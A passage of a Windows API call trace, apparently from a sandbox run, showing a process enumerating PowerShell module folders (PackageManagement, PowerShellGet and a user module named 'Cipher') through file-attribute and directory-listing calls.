(lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0169.454] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0169.454] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0169.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.454] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.454] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0169.455] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0169.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.455] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0169.455] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0169.455] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0169.455] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4fa8 [0169.455] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.456] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0169.456] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.456] FindClose (in: hFindFile=0x3b4fa8 | out: hFindFile=0x3b4fa8) returned 1 [0169.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0169.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.456] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0169.456] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0169.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c4) returned 1 [0169.456] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e488 | out: lpFileInformation=0x5a2e488*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0169.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.457] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0169.457] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0169.457] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0169.457] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0169.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e8) returned 1 [0169.457] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22b5564 | out: lpFileInformation=0x22b5564*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0169.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e4) returned 1 [0169.457] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0169.458] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0169.458] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0169.458] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0169.458] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0169.458] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0169.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0169.458] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0169.458] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0169.459] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4fa8 [0169.459] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.459] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0169.459] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.459] FindClose (in: hFindFile=0x3b4fa8 | out: hFindFile=0x3b4fa8) returned 1 [0169.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0169.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.459] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0169.459] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0169.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c4) returned 1 [0169.459] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e488 | out: lpFileInformation=0x5a2e488*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0169.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.460] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0169.460] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0169.460] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0169.460] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0169.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e8) returned 1 [0169.460] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22b6ad4 | out: lpFileInformation=0x22b6ad4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0169.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e4) returned 1 [0169.460] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0169.460] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0169.460] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0169.461] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0169.461] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0169.461] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0169.465] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0x10 [0169.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0169.466] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0169.466] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x36 [0169.467] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4fa8 [0169.467] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.467] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher", cAlternateFileName="")) returned 1 [0169.467] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.467] FindClose (in: hFindFile=0x3b4fa8 | out: hFindFile=0x3b4fa8) returned 1 [0169.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0169.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.467] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0169.468] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0169.468] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0169.468] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0169.468] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0169.468] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0169.468] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0169.468] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0169.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0169.469] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0169.516] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0169.517] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4fa8 [0169.517] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, 